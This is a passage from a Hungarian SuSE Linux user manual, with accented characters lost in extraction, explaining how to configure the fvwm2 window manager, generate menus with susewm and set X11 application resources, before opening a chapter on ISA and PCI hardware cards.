ltalnossgban Tudjunk meg tbbet az Fvwm2 (fvwm2)-r l, az ablakkezel r l, amely a o oo linux s az XFree86 szmra gyorsan az ablakkezel v vlt. o Az Fvwm2 5 vltotta fel a rgi fvwm1 -et. Sokkal tbb memrira van szksge, mint a rgebbi verzinak, de sok j funkcit s belltsi lehet sget is o biztost szmunkra. A szoksos funkcik mellett, mint amilyen az ablakok elrendezse, a gombok s a munkafellet kinzete, mr elrhet k a httrmenk s a modulris alkalo mazsok, melyek menet kzben is betlthet k. Ezek a tulajdonsgok rdekes o funkcikat tesznek lehet v szmunkra, mint amilyen a tlca is. o A funkcikrl, az indtsrl s a belltsrl tovbbi informcik tallhatk az fvwm2 idevonatkoz kziknyvoldalain: man fvwm2 man FvwmAudio man FvwmButtons, stb. vagy a /usr/share/doc/packages/fvwm-ben, amely az fvwm csomag teleptsvel automatikusan felkerl. Ha valami krdsnk van, el szr o ezeket a dokumentumokat nzzk meg. Mind az fvwm s az fvwm2 ugyanazt a forrst hasznlja a kziknyvoldalak szmra, ezrt csak klnleges eljrssal nzhetjk meg ezeket. Az fvwm2 kziknyvoldalait a rendes man paranccsal olvashatjuk. Az fvwm (els verzi) s az fvwm95 oldalait a SuSE Linux-ban thelyeztk egy ms o alknyvtrba.
5 A SuSE Linux-ban, az fvwm2 a fvwm, az el z verzi, az fvwm a fvwm1 csomagban, o o az xwm kszletben tallhat meg.

296

9.3. Az fvwm2 ablakkezel o Az fvwm (egyes verzi) kziknyvoldalait az fvwmman paranccsal olvashatjuk. Pldul:
fvwmman FvwmButtons

Az fvwm95 (egyes verzi) kziknyvoldalait az fvwm95man parancscsal olvashatjuk. Pldul:


fvwm95man FvwmButtons

Ez utn elrhetjk az FvwmButtons idevonatkoz csomagjnak kziknyvoldalait. Ezen kvl mg lthatjuk ms ablakkezel k kziknyvoldalait a o Work menu-b l nylan. Ha elrhet k, akkor ezeket a klnleges kzio o knyvoldalakat a Window Manager-ben a manpages almen alatt tallhatjuk. Ha nem akarunk forrsbl indulni, ltrehozhatunk egy belltsi "keretet" a susewm -mel s ezutn ezt ignyeink szerint szabhatjuk t. A susewm a 9.5 . fejezetben (302. oldal) van ismertetve. Az fvwm2 belltsa A fvwm2 kt fjlon keresztl llthat be: Rendszerszint belltsi fjl (.fvwm2rc a /usr/X11R6/lib/X11/ u fvwm2-ben), amely brmikor elrhet o Felhasznlszint fjl az (~/.fvwm2rc a felhasznl home alknyvtu rban), amely nem felttlenl szksges (de ajnlott) A susewm program, melyet ks bb rszleteznk, biztostja az fvwm2 szo mra a rendszerszint belltsi fjlt. u Az fvwm2 ezeket a belltsi fjlokat az indulskor olvassa be6 . A WINDOWMANAGER krnyezeti vltoz bellthatja az idevonatkoz ablakkezel o teljes elrsi tjt. Az fvwm2 el szr a felhasznl belltsi fjljt prblja o olvasni. Ha ez nem ltezik, a rendszerszint t olvassa. u Minden fvwm2 modul szintn olvassa ezt a fjlt, de csak a magukra vonatkoz parancsokat hasznljk. Ajnlatos, hogy minden felhasznl hozza ltre a sajt belltsi fjljt, amelyet egyni ignyei szerint vltoztathat s alakthat. A belltsi fjl vltoztatsa utn jra kell indtani az ablakkezel t, hogy a o vltoztatsok rvnybe lpjenek. Az fvwm jraindtsra rendelkezsnkre ll egy menbejegyzs, melyet a SuSE Linux el re ltrehozott a Work menu-ben s amelynek Window o Manager a neve. Az X kiszolglt a startx -szel is jraindthatjuk parancssorbl. Ezen kvl mg lehetsges az ablakkezel t xterm-b l vagy szveges o o konzolrl is jraindtani. Csak ssk be:
jancsi@meggyfa: > killall -10 fvwm2

Az fvwm belltsait interaktvan az FvwmCong segtsgvel vltoztathatjuk meg. Ez az eszkz ellenben nagyon korltozott belltsi lehet sgeket o
6 ltalnossgban az ablakkezel is a /usr/X11R6/lib/X11/xinit/xinitrc-b l ino o dul.

297

9. Az ablakkezel kablakok a gpre o ajnl, s a vltoztatsok nem menthet k. Kiegsztsl az FvmSave s az o FvwmSaveDesk ll rendelkezsre, melyek valban elmentik az ablakkezel o aktulis llapott. Mindazonltal ezeknek a fjljai nem olvasdnak be automatikusan a kvetkez rendszerindulsnl. Tovbbi rdekl ds esetn nzzk o o meg a modulok kziknyvoldalait.

9.4

Az fvwm2 belltsa

ltalnossgban Most mr a szemlyes Fvwm2 belltsi fjl mlyre hatolhatunk. Ha mg nincs ilyennk, akkor a susewm hasznlatval ltrehozhatunk egy ablakkezel bellt fjlt, ahogyan a 9.5.1 . fejezetben (303. oldal) rszleteztk. o A susewm hasznlata helyett az fvwm2 szerz je ltal kzreadott belltsi o fjlt is hasznlhatjuk. Ez valszn leg a /usr/share/doc/packages/ u fvwm/system.fvwm2rc elrsi ton tallhat meg. Indtsuk el a kedvenc szerkeszt nket, s tltsk be a ~/.fvwm2rc fjlt. t o kell majd tekintennk nhnyat a belltsok kzl. Mi trtnik, amikor az fvwm2 elindul? Grdtsk tovbb a szveget a kvetkez megjegyzsig: o
######################################################### # # # initialization function head # # common to all wms # # # #########################################################

9.4.1 fjllista: InitFunction a ~/.fvwm2rc -ben Ez alatt egy lista tallhat azokrl a programokrl, melyek futnak, mikor az fvwm2 jraindul. Itt az FvwmBanner tlt dik be, nhny xterm s egy xpmo root indul el. Az xpmroot kpeket rak a rootablakokba. Ebb l a clbl bro mely programot hasznlhatjuk, amely kpes rni a rootablakba (mint amilyen az xli , xv). Itt egy plda, hogyan hasznljuk az xv-t:
+ "I" Exec xv -quit -root -owncmap -maxpect /pics/bild13.gif

Ezt a httrkpparancsot helyezhetjk azon rszek kz, melyek vgrehajtdnak az fvwm2 jraindtsval, pl. a Restart Function-on bell. Ez tallhat:
######################################################### # # # restart function # # common to all wms # # # #########################################################

9.4.2 fjllista: A RestartFunction a ~/.fvwm2rc-ben 298

9.4. Az fvwm2 belltsa Gyakran a kt rsz, az InitFunction s a RestartFunction ugyangy nz ki, mita mindkett az ablakkezel indtsval tr dik. A o o o RestartFunction-ba, rendszerint nem tartozik bele az fvwm felirata (banner). Az fvwm (Fvwm, Fvwm2 , Fvwm95 , Bowman s AfterStep jabb verzii a SuSE Linux-ban (5.0-tl felfel) rendelkeznek kiegszt ExitFunctiono nal az InitFunction-on s RestartFunction -on kvl. Ez a lehet sg kpess tesz bennnket arra, hogy belltsunk indtand programokat, o amelyek az ablakkezel indulsa el tt indulnak, vagy miel tt az ablakkezeo o o l b l kilpnnk. Ez az tja annak, hogy elvoltsuk a httrkpet jrainduls o o el tt azutn az ablakkezel belltson egy jat. o o Sznek s fontok A sznek s fontok belltsai a 9.4.3 fjllistban tallhatk.
######################################################### # # # colors and fonts # # # #########################################################

9.4.3 fjllista: A sznek s fontok belltsai a ~/.fvwm2rc -ben Ebben a fjlban mindent, amit szeretnnk, megtehetnk. Kivlaszthatjuk a leginkbb tetsz szneket. Minden teleptett sznt lthatunk. A lthat szo nek leginkbb a videokrtytl s a sznmlysgt l fggenek. Kattintsunk a o jobb egrgombbal a root menben, s vlasszuk a System Tools ment. Itt vltsunk az Information -ra. A legvgn egy ikont lthatunk, az XColors -t. Indtsuk el, s minden, a rendszernkn elrhet sznt o ltni fogunk. Ezen sznek nevei a /usr/X11R6/lib/X11/rgb.txt-ben tallhatk. Ebben a rszben lv nhny parancs a kvetkez hz hasonlt: o o
WindowFont -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1

Ez egy bet kszlet (font) rendszerszer lersa az X11-ben. Minden bet u u u kszlet ebben a stllusban van meghatrozva. Nagyon messze esne e knyv tmjtl, ha mindent rszletesen elmagyarznnk. A fontok a /usr/X11R6/lib/X11/fonts/misc-ben helyezkednek el. Ebben a knyvtrban van a fonts.alias fjl, mely minden fonthelyettest t tartalmaz e font-alknyvtr szmra. Hogy az letet knnyebb o tegyk, me egy jpr a kzismert helyettest k kzl. o
variable 5x7 -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1

gy sokkal knnyebb megjegyezni ezeket a neveket. . . :-) Ikonok Az ikonok a Style parancs hasznlatval hatrozhatk meg: Itt ikonokat jellhetnk ki az idevonatkoz alkalmazsok szmra. Csak arrl kell megbizonyosodnunk, hogy ezek az ikonok benne vannak az IconPathban (mely szinte kivtel nlkl az ~/.fvwm2rc kezdetn lltdik be). 299

9. Az ablakkezel kablakok a gpre o


# # others # Style Style Style "xterm" "xosview" "xosview" Icon Terminal.xpm NoTitle, Sticky UsePPosition

9.4.4 fjllista: Ikonok a megfelel ablakokhoz o Alapjban vve minden, a /usr/X11R6/include/X11/3dpixmaps/ben tallhat ikont is hasznlhatunk; ez csak egy plda. A pixmapeknek sok ms forrsa is van. Az IconPath-ban nem szerepl minden ikon szmra o meg kell hatroznunk a teljes elrsi utat. Ttelezzk fel, hogy egy ghost ikont akarunk kijellni a ghostview szmra. Nzznk bele a fentebb emltett knyvtrba, s ltni fogjuk a ghostbusters.xpm ikont. Szrjuk be a kvetkez sort: o
Style "ghostview" Icon ghostbusters.xpm

Ez minden. Majdnem minden alkalmazshoz hasonl mdon rendelhetnk ikont. A legtbb alkalmazsnak mr van alaprtelmezett ikonja. Akrhogy is, tudnunk kell, mi az alkalmazs pontos neve7 , az xTerm az xterm helyett nem fog m kdni. Egy meghatrozott ablak nevt a Work menuu ben azonosthatjuk, kivlasztva a Window Manager, Modules, Ident, (programnv FvwmIdent) -et, s ezutn kattintsunk a kvnt ablakra. Egrmutat (Cursor) Ezen tl az egrmutat szne s formja is bellthat. Ehhez rendelkezsre ll az xsetroot eszkz (amellyel a root ablak sokkal egyszer bben bellthat). u Ez a kvetkez vel indul: o
jancsi@meggyfa: > xsetroot -cursor <bitmapfile>

Itt a bitmapfile brmely bittrkpfjl lehet. A bittrkpek alaprtelmezsben a /usr/X11R6/include/X11/bitmaps/-ben helyezkednek el. Vlasszunk ki egy alkalmasat, vagy hozzunk ltre egy sajtot a bitmap-pel. Fkusz Az Fvwm ablakkezel csald egy rendkvl npszer tulajdonsga az, hogy o u hatssal lehetnk arra, hogy az aktv ablakok hogyan cserl djenek a rendo szer futsa kzben. Megvltoztathatjuk a fkuszt s az ablakok felbukkansi rendjt a belltsi fjlban. A fkusz-szal meghatrozhatjuk az ablakkezel tulajdonsgait, melyek az o egrrel kapcsolatos viselkedsre vonatkoznak a meghatrozott ablakkal kapcsolatban. Alapvet en hrom lehet sg van: o o El szr az ablakra kell kattintanunk, hogy pldul szveget tudjunk beo vinni a billenty zetr l egy ablakban fut folyamat szmra. Ezt a viu o
7

Legynk preczek, a pontos nv kell.

300

9.4. Az fvwm2 belltsa selkedst Click to focus-nak nevezzk. Ez egy szleskr en alkalmazott u szabvny, melyet a Windowsban s az OS/2-ben is megtallunk. Az egrmutatt a meghatrozott ablak fl mozgatjuk, s az ablak automatikusan fkuszba kerl. Ezt a vlaszt Focus follows mouse-nak nevezzk. Ha az egrmutat elhagyja az ablakot, a fkusz is ezt teszi, akkor is, ha az egrmutat a httrren, vagy egy msik ablakban van. Fejlettebb vltozat a Sloppy Focus viselkeds, amely az Fvwm2 -vel s az Fvwm95 -tel llthat be. Ebben az esetben a fkusz ugyanazt a viselkedst mutatja, mint a Focus follows mouse esetn, azzal a kivtellel, hogy a fkusz addig a fkuszlt ablakon marad, amg egy msik ablakra nem fkuszlunk. A fkusz a kiemelt ablakon marad akkor is, ha az egrmutatt a httrre visszk. Az Fvwm2 -vel minden egyes ablak szmra egyedi fkuszviselkedst llthatunk be. Mint sok ms bellts, a fkusz is a Style paranccsal trtnik:
Style "*" ClickToFocus

Ez a megadja a ClickToFocus belltst minden ablak szmra. Ez hasonlan megtehet a SloppyFocus s FocusFollowsMouse belltsval o is, a legutbbi az Fvwm2 alapbelltsa. 9.4.1 Automatikus felbukkans (Autoraise)

Az ablakok automatikus felbukkansa egy rdekes tulajdonsg; alapesetben megtartjk a helyket addig, amg a fkusz meg nem vltozik a cmsorra (titlebar) val kattintssal. Az automatikus felbukkans felhozza a fkuszlt ablakot a tbbi fl. Ennek csak akkor van rtelme, amikor egytt hasznljuk a FocusFollowsMouse-zal vagy a SloppyFocus-szal. Nincs hatssal r, ha a SloppyFocus-t hasznljuk. Az automatikus felbukkans aktivlshoz indtsuk el az Fvwm AutoRaising moduljt a Window Manager men Modules, AutoRaise On/Off menjb l, vagy teleptsk llandra egy bejegyzssel az o Fvwm belltsi fjljba, az ~/.fvwm2rc-ben az InitFunction-ba s a RestartFunction-ba:
Function InitFunction + "I" Module FvwmAuto 200 Function RestartFunction + "I" Module FvwmAuto 200

A 200-as rtk a ksleltetst 200 milliszekundumra lltja; az ablak ennyi id utn bukkan fel az el trben. Ha nincs belltva ksleltetsi rtk, az o o ablak minden rintse az ablak "mozgshoz" vezet, melynek eredmnye folyamatos villogs lesz.

301

9. Az ablakkezel kablakok a gpre o

9.5

Az ablakkezel belltsa a susewm segtsgvel o

Fordtotta: Pet Sndor Lszl o

Mi a susewm? A susewm leegyszer sti az ltala tmogatott ablakkezel k belltst; ezek u o az Fvwm, Fvwm2 , Fvwm95 , Bowman, Afterstep (afterstep), Ctwm, Mwm 8 , s a kwm 9 . Az fvwm ta a bowman, az afterstep, az fvwm2 s a fvwm95 tbbnyire ugyazon ablakkezel n alapulnak; az fvwm2 az fvwm utdja. Ez az t ablako kezel gyakorlatilag hasonl mdon llthat be, s majdnem azonos tulajo donsgokkal is rendelkeznek. Msrszr l jelent s klnbsgek is vannak ezen ablakkezel k belltsban. o o o A felhasznlnak a susewm lehet v teszi, hogy egy absztrakt makrnyelv o hasznlatval tbb klnbz kongurcis fjl belltgatsa helyett egy kono gurcis fjlban lehessen a kzs folyamatokat belltani. A susewm ezen kvl be tud lltani teljesen klnbz ablakkezel ket is, o o mint pldul a ctwm-et, mwm-et s a kwm-et. Persze, ez csak az automatikusan el lltott men-bejegyzsekre vonatkozik (err l tbbet az albbi rszo o ben). Ezen egyedlll ablakkezel k kztti klnbsg egyedi felhasznlsi mdo jukban derl ki. A susewm legkinomultabb tulajdonsga, hogy lehet v teszi menk s to mogatott modulok ltrehozst, fgg en attl, hogy milyen szoftvercsomao gok vannak teleptve. A nem teleptett csomagok szmra nincsenek menbejegyzsek. Ha egy ment kivlasztunk, biztosak lehetnk benne, hogy a hozztartoz program teleptve van s hasznlhat. Kvetkezzk a susewm mg nhny tulajdonsga: Nyolc ablakkezel belltsi lehet sge: ezek az Fvwm, Fvwm2 , o o Fvwm95 , Bowman, afterstep, ctwm, mwm s a kwm kzponti knyvtr minden ablakkezel szmra; egysges makrk klno bz kongurcis fjlokhoz. o egyni ablakkezel khz tovbbi kongurcis fjlok, melyek meghatroo zott tulajdonsgokat s klnlegessgeket vesznek tekintetbe. kiegszt forrsfjlok betltse10 a rendszernkn a /etc/rc. o config-on keresztl trtnik az automatikus bellts rdekben. lehet sg van a forrs fjlok meghatrozott felhasznlra vonatkoztato sra az O $HOME knyvtrban az automatikus bellts sorn. a felhasznl-specikus kongurcis fjlok ltrehozsuk sorn meg rzik o a rgebbi kongurcis fjlok vltoztatsait
az Mwm a kereskedelmi Metrolink Motif vagy Metrolink Motif Runtime Libraries rsze. Az l-ablakkezel t, a CDEsim (cdesim) -et itt nem vesszk gyelembe. Tovbbi informcio kat a cdesim csomag (xwm kszlet) teleptse utn, a /usr/share/doc/packages/ cdesim llomnyban tallhat. 10 ltalban ezek az ablakkezel k kongurcis fjljainak forrsai. Ezek susewm -mel val o hasznlata sorn a susewm formtuma rszesl el nyben. o
9 8

302

9.5. Az ablakkezel belltsa a susewm segtsgvel o egysges parancsok a nyolc ablakkezel szmra o a szles krben hasznlt kereskedelmi alkalmazsokat integrlja az ablakkezel menibe, melyek nem rszei a SuSE Linux-nak o vlts a tmogatott ablakkezel k kztt az indt szkriptek vltoztatsa o nlkl, mint amilyen a ~/.xinitrc, olyan mrtkben, ahogyan az ablakkezel ezt megengedi. o 9.5.1 Bejegyzsek hozzadsa a menhz

Ha bejegyzseket akarunk a SuSE-n bell hozzadni, ltre kell hoznunk nhny fjlt, ahogyan a 9.5.1 fjllistn lthat.
Name=Printer Comment=Show all printers Exec=klp MiniIcon=printer.xpm Icon=printer.xpm Type=Application

9.5.1 fjllista: a SuSEwm menbejegyzseinek .lnk fjlja Itt a Name[...] s Exec bejegyzsei klnsen fontosak. Minden egyb bejegyzs opcionlis. Ha berjuk, hogy Type=TEXT, minden program egy terminlban fog futni. Hogy a bejegyzs ltrejjjn, a kvetkez knt kell futtatni a fjlt: o <package>.<bin>.lnk; itt a <package> abbl az RPM csomagnvb l ll, mely tartalmazza az idevonatkoz programot. Ha a csomagot nem az o RPM segtsgvel teleptettk, pldul bethetjk a <susewm>-et. A <bin> szmra bethetnk rvidtst is, pldul annak a programnak a nevt, amelyhez tartozik. Ezen tl a fjlnv kiterjesztse lehet .lnk. Ezt a fjlt t kell mozgatnunk a /etc/X11/susewm/AddEntrys alknyvtrba. Attl fgg en, hogy melyik alknyvtrba mozgattuk t a fjlt, a bejegyzs fel fog t nni o u a hozztartoz almenben. Hogyan hasznljuk a susewm-et A susewm-et kt klnbz mdon hasznlhatjuk: o Mg nem rendelkeznk sajt kongurcis fjlokkal, de a munkafelletnket megfelel en akarjuk belltani. o Mr vannak kongurcis fjljaink, de a szoftvernket a YaST segtsgvel teleptettk, ezrt a menk mr nem tkrzik a jelenlegi llapotot. Ebben az esetben kvetkez kr l felttelezzk, hogy teleptve vannak: o o A linux-rendszernk s az X Window Rendszer (XFree86) teleptve, rendesen belltva s futsra kszen van. Az fvwm2 ablakkezel t hasznljuk (ami az alaprtelmezett a SuSE o Linux-ban), de lehet ms tmogatott ablakkezel nk is. o A susewm teleptve van az ltalnos belltsokkal. 303

9. Az ablakkezel kablakok a gpre o Egyszer felhasznlknt jelentkezznk be, (pldul a mintafelhasznlu knt, amelyet a YaST segtsgvel hoztunk ltre a szokvnyos teleptskor), de ne root-knt. A nyelvet angol-ra lltottuk. Ugyanazok a felttelek vonatkoznak a nmet menkre is. A kvetkez ket tehetjk. Ha a bal egrgombbal a kperny re kattintunk (a o o httr tetsz leges pontjra), egy men jelenik meg. Ezt munkamen-nek o hvjuk. Itt a munknkhoz leggyakrabban hasznlt programok listja t nik el u o (ez fgg az egyedi felhasznltl). Az ebben a menben lv utols bejegyzs (Window Manager) tartalo maz egy alment, ami a fut ablakkezel re vonatkoz belltsokat s vltozo tatsokat tartalmaz. Ha ms ablakkezel t akarunk hasznlni, csak hasznljuk o az Other window managers menben knlkoz lehet sgeket. o A Window Manager menben kattintsunk a Configuration menpontra. Ebben az almenben tbb vlasztsi lehet sget tallunk mind a o ngy menrszr l. o Az els menrszben lv vlasztsi lehet sgek a susewm-r l szl doo o o o kumentcik olvassra vonatkoznak. Itt ebben a fejezetben nem trgyalt rszletek is vannak. A msodik rszben PC-nk kongurcis fjljainak editor-ral val megvltozttsra vonatkoz lehet sgek vannak. o A harmadik menrsz segt abban, hogy az ltalunk vlasztott nyelven hozzunk ltre felhasznlfgg kongurcis fjlt. o Az fvwm2 munkamen-jr l szl kperny fot lthat a 9.10 brn. o o Ha azt vlasztjuk, hogy felptnk egy kongurcis fjlt (a harmadik menrszb l), egy ablak jelenik meg a mksusewmrc-vel (ez a program rsze o a susewm-nek). Csak olvassuk a szvegeket, s nyomjuk meg a megfelel o gombot, ha krdeznek. Ez minden; ezek utn mr kpesek vagyunk szerkeszteni a $HOME knyvtrunkban frissen ltrehozott kongurcis fjlt. A susewm majdnem mindent elvgez az j kongurcis llomnnyal kapcsolatban. Ha valaha nmikpp meg akarjuk vltoztatni a munkaasztal belltsait, el szr ltre kell hoznunk a sajt kongurcis fjljainkat. Ennek miknto jt lsd feljebb. Ezek utn csak vltoztatni tudjuk a fjlt. Ha teljesen ms kongurcis fjlokat akarunk rni, ne hasznljuk a susewm-et. Egy plda A sznes munkaasztal szp, de mi a teend , ha a hardver (memria, proo cesszor, merevlemez) nem elgg gyors. Nem az az ablakkezel clja, hogy o minden er forrst felhasznljon az ikonok animcijra s egyb jtkszeo rekre. me, egy tipp arra, hogy mit tegynk, ha gy rezzk, hogy a gpnk tl lass, ha elindtjuk az fvwm95 -t vagy az fvwm2 -t. A legtbb problmt az okozza, hogy tbb szz ikont tltnk be. Hrom lehet sg van: o 304

9.5. Az ablakkezel belltsa a susewm segtsgvel o

9.10 bra: Bellt menk az ablakkezel szmra o Tvoltsuk el a 3dpixms -t; ha nagy ikonokat sem akarunk, akkor a 3dpixm -et is. A YaST -ban a Rendszeradminisztrtor menben, a Konfigurcis fjlok vltoztatsa almenben a SUSEWM_XPM=no vltoz bellthat, amely a fentiekkel megegyez o eredmnyre vezet. Ha kzvetlenl a /etc/rc.config fjlban lltottuk t a vltozt, ne felejtsk el utna elindtani a SuSEcong-ot. Tvoltsuk el az ikonokat a kongurcis fjlbl. Az els megolds nagyon egyszer . Csak indtsuk el a YaST -ot, s tvoltsuk o u el az emltett csomagokat. A YaST a susewm-mel egyttm kdve biztostja u a rendszerszint ablakkezel -belltsok mdostst. Ha felhasznlszint u o u kongurcis fjljaink vannak, kifejezetten azokat kell mdostani, a megfelel ablakkezel menje segtsgvel, ahogyan mr fentebb lertuk. o o A msodik mdhoz nincs szksg tovbbi magyarzatra. A harmadik mdszer: engedjk, hogy a susewm ltrehozza a kongurcis fjlokat a fentebb lert mdon. Ezutn tvoltsunk el minden, ikonokat betlt o rszt. Most mr az fvwm95 vagy az fvwm2 sokkal gyorsabban indul el. s, ahogyan az el bb emltettk, a kongurcis fjlokban minden szksgess vlt o szemlyes vltoztats megmaradhat, mg akkor is, ha a susewm-et msodszor is segtsgl hvjuk. 305

9. Az ablakkezel kablakok a gpre o

AddToMenu thiswmpopup "Fvwm2" + + + + +

Title

"Other windowmanagers%small.warning_3d.xpm%" Popup otherwmpopup "Configuration%small.checklist2_3d.xpm%" Popup susewmpopup "" Nop "Fvwm2 Restartt%small.restart_suse_3d.xpm%" Restart fvwm2 "Exit Fvwm2 and%small.exit.xpm%" Function QuitSave

# end popup thiswmpopup

9.5.2 fjllista: az .fvwm2rc menbejegyzsei ikonokkal


AddToMenu thiswmpopup "Fvwm2" + + + + + Title

"Other window manager" Popup otherwmpopup "Configuration" Popup susewmpopup "" Nop "Fvwm2 Restart" Restart fvwm2 "Exit Fvwm2 and X" Function QuitSave

# end popup thiswmpopup

9.5.3 fjllista: az .fvwm2rc menbejegyzsei ikonok nlkl

9.6

A kongurci szemlyreszabsa

Ahogy fentebb grtk, most az asztal fellett s m kdst fogjuk u belltanimirt vsrolnnk egy el re belltott felletet, ha magunk is o be tudjuk lltani? El szr nhny ltalnos informci az asztal belltsrlkt hely van, o ahol ezeket bellthatjuk az X Window rendszer alaprtelmezett belltsai az alkalmazsok szmra az ablakkezel kongurcis fjljai, ahogy a 9.4 . fejezetben (298. oldal) o emltettk X11-alkalmazsok alapbelltsai ltalnos belltsok Majdnem mindegyik X11 alkalmazsnak megvan a maga alaprtelmezett belltsa. Ezt a belltst a /usr/X11R6/lib/X11/app-defaults11 helyre msolja a rendszer a teleptskor. Itt olyan fjlok tallhatk, mint pldul az Xarchie. Vessnk egy pillantst erre a fjlra (pl. less Xarchie). A kvetkez ket sorokat talljuk itt: o Xarchie.color*background: powder blue Ne aggdjunk a kdolt nevek miatt: egyel re nem kell megrtennk oket. o X11 alatt minden program "Widgets"-b l pl fel12 . Esetnkben van egy o f widget, ami a f ablak (ezt hvjk meg el szr). Minden ms program a o o o
11 12

Nagyon hasznos az ilyen hossz s nehezen rthet nevekhez aliast rendelni. o A "Widget"-et tekintsk "tgl"-nak. A szt a "windows"-bl s a "gadget"-b l raktk ssze. o

306

9.6. A kongurci szemlyreszabsa szl jnek a gyerekwidget-je (tbb-kevsb). Ez azt jelenti, hogy minden o gyerekwidget pontosan egy szl vel, s egy vagy tbb gyerekwidgettel reno delkezik. Mindegyik widget egyedi nvvel rendelkezik. Az ablakokat s az widget-eket nem szabad sszekeverni. Egy grget sv o pldul nmagban is ablaknak szmt (ablak minden dszts nlkl). Egy widget tartalmazhat gget svot, szvegmez t s egyb jellemz ket is. o o o Ez arra kvetkeztetsre vezet minket, hogy minden ablak s az sszetev i o egyedi nvvel illethet k. A pldnkban ez a kvetkez t jelenti: o o Az els sz egszen az els pontig (Xarchie) az xarchie program lego o fels szint widgetjnek a neve. (Megllapods, hogy az alkalmazsok o u nevt nagy kezd bet vel rjuk). o u A pont utn van egy color. Ez termszetesen a sznt jelenti. De melyiket? Azutn egy . kvetkezik. Ez a pont ugyangy lehetne egy csillag (*) is. A . azt jelenti, hogy ez egy kzvetlen hierarchia. A * egy helyettest karakter. Ez azt jelzi, hogy a kt ablak kztt o esetleg tovbbi ablakok tallhatk. A "background" sz mutatja, hogy melyik sznt fogjuk belltani. Ide brmilyen el re denilt sznt berhatunk. o Felhasznl-szintu belltsok Azrt, hogy minden felhasznlnak lehessenek sajt belltsai, ltezik egy ~/.Xresources fjl a HOME knyvtrban. A . az elejn jelzi, hogy rejtett fjlrl van sz. Minden felhasznl-szint belltst ebben a fjlban lehet elkszteni. Plu dul denilhatjuk azt, hogy minden ablak httere srga legyen, kivve a f o ablakt, amelyiknek pirosnak kell lenni. Visszatrve a fenti pldhoz, ez azt jelenti, hogy fellrhatjuk a rendszerszint u belltsokat (app-defaults fjlokban) az ~/.Xresources fjlban lev kkel. Teht ha belltjuk a kvetkez ket a ~/.Xresources fjlban: o o
Xarchie.color*background: gold

az xarchie alkalmazs aranyszn httrrel indul. u Nem csak az ablakok sznt, de szinte brmilyen jellemz jt megvltoztato hatjuk. Ehhez egy hasznos program az editres ("editres" jelentse EDitRESources). Ez a kis eszkz megjelenti egy adott program sszes er forrst, o s lehet v teszi szmunkra, hogy futs kzben vltoztassuk meg ezeket (lto hatjuk, mit csinltunk). me nhny plda arra, hogy miket llthatunk t:
Xarchie.color*background: Xarchie.color*SimpleMenu*background: Xarchie.color*Command*background: Xarchie.color*MenuButton*background: Xarchie.color*Text*background: powder blue wheat wheat wheat wheat

307

9. Az ablakkezel kablakok a gpre o Indulsi paramterek belltsa Van egy harmadik md arra, hogy befolysoljuk egy alkalmazs m kdst; u futs kzben paramtereket adhatunk t neki. Ezeket a paramtereket akr az ablakkezel nk kongurcis fjljba is rakhatjuk, ha pp onnan akarjuk o indtani az alkalmazst. Pldul indthatunk egy programot msik bet - s httrsznnel (bg=background, u httr fg=foreground, bet szn): u
xterm -bg darkblue -fg white

Egy kk xterm programot kapsz fehr bet kkel. u A kongurcis lehet sgek hogyan "mukdnek"? o El szr is, a rendszerszint belltsok az X Window rendszer indulsakor o u lltdnak be. Magukat a belltsokat az X szerver adminisztrlja az X Resource adatbzisban, xrdb . Ha azt szeretnnk, hogy a megvltoztatott belltsok rendszerszinten is rvnybe lpjenek, szksges a forrsfjlok manulis javtsa. Amikor az X szerver elindul, az ideiglenes X szerver Resource adatbzis felptse sorn az alkalmazsok klnbz belltsait a kvetkez sorrendben o o kezelik: Belltsok hierarchija El szr az sszes rendszerszint belltst a /usr/X11R6/lib/X11/ o u app-defaults fjlbl olvassa a rendszer. Ha van felhasznl-szint belltsunk a ~.Xresources fjlban, akkor u ezek fellrjk a fenti belltsokat. Ha egy alkalmazst konkrt paramterekkel indtunk, ezek a belltsok fellrjk a legutolst. Ezek a legmagasabb prioritsak. Abban az esetben, ha ezeknek a vltozsoknak nincs hatsuk az alkalmazs m kdsre, gyakran segt, ha a megfelel widget nevt kis- illetve u o nagybet vel rjuk. u

308

V. rsz

A Linux s a hardver

309

10. fejezet

A Linux s a hardver
Fordtotta: Csiszr Imre

10.1

El zetes megjegyzsek o

Ma mr kisebb-nagyobb er feszts rn majdnem minden hardversszetev o o integrlhat a Linux-rendszerbe. Ez a fejezet azt ismerteti, hogy ezt az egyes esetekben hogyan vgezhetjk el, s milyen szoftverek llnak rendelkezsnkre. A nyomtats-sal kapcsolatos problmk megoldst lsd a 12 . fejezetben (351. oldal). Faxols-i gondok esetn olvassuk el a 6.10 . fejezetben (207. oldal). Az ISDN eszkzk hasznlathoz a 6.2 . fejezetben (175. oldal), a PCMCIA-hardver-ek hasznlathoz a 11 . fejezetben (335. oldal) tallunk informcikat.

10.2

Krtyk

A szabvnyos PC-k ltalban ISA ("Industry Standard Architecture") vagy PCI ("Peripheral Component Interconnect") csatlakozj krtykat tartalmaznak. Az AGP ("Accelerated Graphics Port") kivteles eset, mivel az ehhez a porthoz csatlakoztatott krtyk a PCI buszon is lthatk, s a rendszer logikailag pontosan ugyangy kezeli ezeket, mint a PCI krtykat. PCMCIA krtykkal els sorban hordozhat szmtgpekben (laptop, notebook) tallkozhatunk. o Ezekkel a krtykkal kapcsolatban a 11 . fejezetben (335. oldal) olvashatunk informcikat. 10.2.1 ISA s PCI krtyk

Az albbiakban kzelebbr l is megvizsgljuk az ISA s PCI krtykat. A o krtyk belltst a hangkrtyk pldjn keresztl mutatjuk be. ISA krtyk Az ISA krtyk a legrgebbi fajta PC-kompatibilis b vt krtyk. 8 vagy o o 16 bites buszhoz csatlakoznak, amely 8 MHz frekvencin m kdik. Szmos u alaplap esetn lehetsges az ISA busz frekvencijnak megemelse, de ez gyakran problmkhoz vezethet. Az ISA krtyk hrom kategriba sorolhatk: 311

